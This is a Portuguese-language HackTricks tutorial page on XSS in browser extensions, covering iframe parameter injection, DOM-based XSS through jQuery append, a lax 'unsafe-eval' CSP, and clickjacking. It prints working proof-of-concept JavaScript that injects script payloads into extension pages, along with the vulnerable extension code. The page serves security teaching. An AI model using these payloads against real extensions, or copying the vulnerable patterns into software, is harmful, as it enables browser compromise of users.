mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-21 02:23:30 +00:00
135 lines
7.2 KiB
Markdown
135 lines
7.2 KiB
Markdown
# BrowExt - Exemplo de XSS
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|
||
|
||
## XSS em Iframe
|
||
|
||
**Content script** cria um Iframe indicando uma **URL nos parâmetros da fonte do iFrame**:
|
||
```javascript
|
||
chrome.storage.local.get("message", result =>
|
||
{
|
||
frame.src = chrome.runtime.getURL("message.html") +
|
||
"?message=" + encodeURIComponent(result.message) +
|
||
"&url=https://example.net/explanation";
|
||
});
|
||
```
|
||
Uma página html exposta: **`message.html`**, acessível pelo **navegador**, contém um código como:
|
||
```java
|
||
$(() =>
|
||
{
|
||
let params = new URLSearchParams(location.search);
|
||
$(document.body).append(params.get("message") + " <button>Explain</button>");
|
||
$("body > button").click(() =>
|
||
{
|
||
chrome.tabs.create({ url: params.get("url") });
|
||
});
|
||
});
|
||
```
|
||
A página maliciosa executa um script como o seguinte para alterar a mensagem por um **XSS payload**:
|
||
```javascript
|
||
setTimeout(() =>
|
||
{
|
||
let frame = document.querySelector("iframe:last-child");
|
||
let src = frame.src;
|
||
|
||
// Remove existing query parameters
|
||
src = src.replace(/\?.*/, "");
|
||
|
||
// Add malicious query parameters
|
||
src += "?message=" + encodeURIComponent("<script>alert('XSS')</script>");
|
||
|
||
// Load into frame
|
||
frame.src = src;
|
||
}, 1000);
|
||
```
|
||
Uma Política de Segurança de Conteúdo permissiva como 
|
||
```json
|
||
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
|
||
```
|
||
permitirá a execução do código JS.
|
||
|
||
Outra forma de acionar o XSS quando desejar é executando:
|
||
```javascript
|
||
let frame = document.createElement("iframe");
|
||
frame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?message="
|
||
+ encodeURIComponent("<script>alert('XSS')</script>");
|
||
document.body.appendChild(frame);
|
||
```
|
||
## XSS Baseado em DOM + ClickJacking
|
||
|
||
A primeira vulnerabilidade é a vulnerabilidade de Cross-site Scripting (XSS) baseada em DOM em **`/html/bookmarks.html`**, a seguir está o JavaScript vulnerável incluído em **`bookmarks.js`**:
|
||
```javascript
|
||
$('#btAdd').click(function() {
|
||
var btname = $('#txtName').val();
|
||
if ($('.custom-button .name').filter(function() {
|
||
return $(this).text() === btname;
|
||
}).length) return false;
|
||
|
||
var span = $('<span class="custom-button">');
|
||
span.html('<span class="name">' + btname + '</span>');
|
||
span.append('<a href="javascript:void(0)" title="remove">x</a>');
|
||
span.attr('title', btname);
|
||
span.data('id', (new Date().getTime()));
|
||
$('div.custom-buttons .existing').append(span);
|
||
save_options();
|
||
});
|
||
```
|
||
O JavaScript acima pega o **valor** da caixa de texto **`txtName`** e usa **concatenação de strings para construir HTML** que é anexado ao DOM através da função [“append()”](https://api.jquery.com/append/) do jQuery.
|
||
|
||
Normalmente, a Política de Segurança de Conteúdo (CSP) da extensão do Chrome deveria impedir que essa vulnerabilidade fosse explorada. No entanto, devido ao **afrouxamento dessa política via** [**‘unsafe-eval’**](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/script-src) e ao uso das APIs DOM do jQuery, ainda foi possível **explorar**. Isso ocorre porque muitas das APIs DOM do jQuery fazem uso de [“globalEval()”](https://api.jquery.com/jquery.globaleval/), que automaticamente passa scripts para [“eval()”](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) ao serem anexados ao DOM.
|
||
|
||
Embora essa seja uma vulnerabilidade grave, por si só a exploração é bastante limitada devido à **interação do usuário necessária para explorá-la**. A vítima teria que abrir a página, colar um payload de Cross-site Scripting (XSS) no campo e clicar no botão “Add” para explorá-la.
|
||
|
||
Para melhor armar essa vulnerabilidade, fazemos uso de uma vulnerabilidade separada (**clickjacking**) para reforçar o ataque.
|
||
|
||
A seguir, um trecho do manifesto da extensão do Chrome:
|
||
```json
|
||
...trimmed for brevity...
|
||
"web_accessible_resources": [
|
||
"_locales/*",
|
||
"bundle/*",
|
||
"dist/*",
|
||
"assets/*",
|
||
"font/*",
|
||
"html/bookmarks.html",
|
||
"css/*.css",
|
||
"js/*.js",
|
||
"js/jquery/*.js",
|
||
"js/lang/*"
|
||
],
|
||
...trimmed for brevity...
|
||
```
|
||
A seção acima demonstra que a extensão abrange um amplo espectro com sua política de **`web_accessible_resources`**.
|
||
|
||
A página **`/html/bookmarks.html`** também pode ser **emoldurada** e, portanto, **explorada** via **clickjacking**. Nós abusamos disso para emoldurar esta página em nossa página web e **sobrepor o frame com elementos DOM para redirecionar o layout**. Isso faz com que a vítima não perceba que está **interagindo com a extensão abaixo**. A animação a seguir demonstra esse efeito (confira a animação no [**artigo original**](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)).
|
||
|
||
## Referências
|
||
|
||
* [https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/](https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/)
|
||
* [https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/](https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/)
|
||
|
||
<details>
|
||
|
||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
||
Outras formas de apoiar o HackTricks:
|
||
|
||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
||
</details>
|